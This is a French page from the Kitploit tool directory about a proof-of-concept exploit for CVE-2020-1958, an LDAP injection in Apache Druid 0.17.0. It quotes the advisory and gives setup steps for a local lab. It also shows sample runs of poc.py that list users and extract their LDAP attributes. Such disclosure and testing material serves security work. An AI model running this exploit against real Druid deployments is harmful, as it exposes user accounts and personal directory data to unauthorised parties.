Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/ggolawski/cve-2020-1958
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionAuthentification
GitHubggolawski/cve-2020-1958

CVE-2020-1958

Preuve de concept d'exploitation pour CVE-2020-1958, une vulnérabilité d'injection LDAP dans Apache Druid 0.17.0, permettant l'énumération d'utilisateurs et l'exfiltration d'attributs LDAP.

Voir le dépôt
2181il y a 6 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2020-1958 PoC

CVE-2020-1958 est une vulnérabilité d'injection LDAP de sévérité élevée dans Apache Druid 0.17.0. Elle permet à un attaquant de contourner le filtre de recherche LDAP et de récupérer les valeurs de n'importe quel attribut LDAP des utilisateurs présents sur le serveur LDAP.

D'après l'avis officiel d'Apache Druid :

Lorsque l'authentification LDAP est activée :

  • Les appelants des API Druid disposant d'un ensemble valide d'identifiants LDAP peuvent contourner la barrière du filtre credentialsValidator.userSearch qui détermine si un utilisateur LDAP valide est autorisé à s'authentifier auprès de Druid. Ils restent soumis aux vérifications d'autorisation basées sur les rôles, si configurées.
  • Les appelants des API Druid peuvent récupérer les valeurs de n'importe quel attribut LDAP des utilisateurs présents sur le serveur LDAP, tant que cette information est visible par le serveur Druid. Cette divulgation d'informations ne nécessite pas que l'appelant lui-même soit un utilisateur LDAP valide.

PoC

Le script poc.py démontre comment un attaquant non autorisé peut énumérer les utilisateurs sur le serveur LDAP intégré à Druid et récupérer la valeur de n'importe quel attribut de n'importe quel utilisateur.

Serveur de test Druid local

Ignorez cette étape si vous avez déjà un serveur Druid avec l'authentification LDAP activée.

  1. Téléchargez Druid 0.17.0 et extrayez-le

    root@kitploit:~
    $ wget https://archive.apache.org/dist/druid/0.17.0/apache-druid-0.17.0-bin.tar.gz
    $ tar -zxf apache-druid-0.17.0-bin.tar.gz
    
    
  2. Activez et configurez l'authentification LDAP dans conf/druid/single-server/nano-quickstart/_common/common.runtime.properties

    • Activez l'extension druid-basic-security

      Localisez druid.extensions.loadList et ajoutez druid-basic-security :

      root@kitploit:~
      druid.extensions.loadList=["druid-hdfs-storage", "druid-kafka-indexing-service", "druid-datasketches", "druid-basic-security"]
      
    • Configurez l'authentification LDAP

      Ajoutez ce qui suit à la fin du fichier :

      root@kitploit:~
      druid.auth.authenticatorChain=["ldap"]
      
      druid.auth.authenticator.ldap.type=basic
      druid.auth.authenticator.ldap.initialAdminPassword=password
      druid.auth.authenticator.ldap.initialInternalClientPassword=password
      druid.auth.authenticator.ldap.credentialsValidator.type=ldap
      druid.auth.authenticator.ldap.credentialsValidator.url=ldap://127.0.0.1:2389
      druid.auth.authenticator.ldap.credentialsValidator.bindUser=cn=admin,dc=example,dc=org
      druid.auth.authenticator.ldap.credentialsValidator.bindPassword=admin
      druid.auth.authenticator.ldap.credentialsValidator.baseDn=dc=example,dc=org
      druid.auth.authenticator.ldap.credentialsValidator.userSearch=(&(uid=%s)(memberof=cn=users,dc=example,dc=org))
      druid.auth.authenticator.ldap.credentialsValidator.userAttribute=uid
      druid.auth.authenticator.ldap.authorizerName=MyAuthorizer
      
      druid.escalator.type=basic
      druid.escalator.internalClientUsername=user1
      druid.escalator.internalClientPassword=user1
      druid.escalator.authorizerName=MyAuthorizer
      
      druid.auth.authorizers=["MyAuthorizer"]
      druid.auth.authorizer.MyAuthorizer.type=basic
      druid.auth.authorizer.MyAuthorizer.initialAdminUser=user1
      druid.auth.authorizer.MyAuthorizer.initialAdminRole=admin
      druid.auth.authorizer.MyAuthorizer.roleProvider.type=ldap
      
  3. Lancez le serveur OpenLDAP

    root@kitploit:~
    $ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
    
  4. Importez les utilisateurs de users.ldif vers LDAP

    root@kitploit:~
    $ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
    
  5. Lancez le serveur Druid

    root@kitploit:~
    $ bin/start-nano-quickstart
    

Énumérer les utilisateurs

asciicast

root@kitploit:~
$ ./poc.py --url http://127.0.0.1:8888/
[INFO] Enumerating users from http://127.0.0.1:8888/
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4

Récupérer les valeurs des attributs LDAP de l'utilisateur admin1

asciicast

root@kitploit:~
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8888/
[email protected]
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8888/
admin1
$ ./poc.py --url http://127.0.0.1:8888/ --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8888/
last
Télécharger l’outil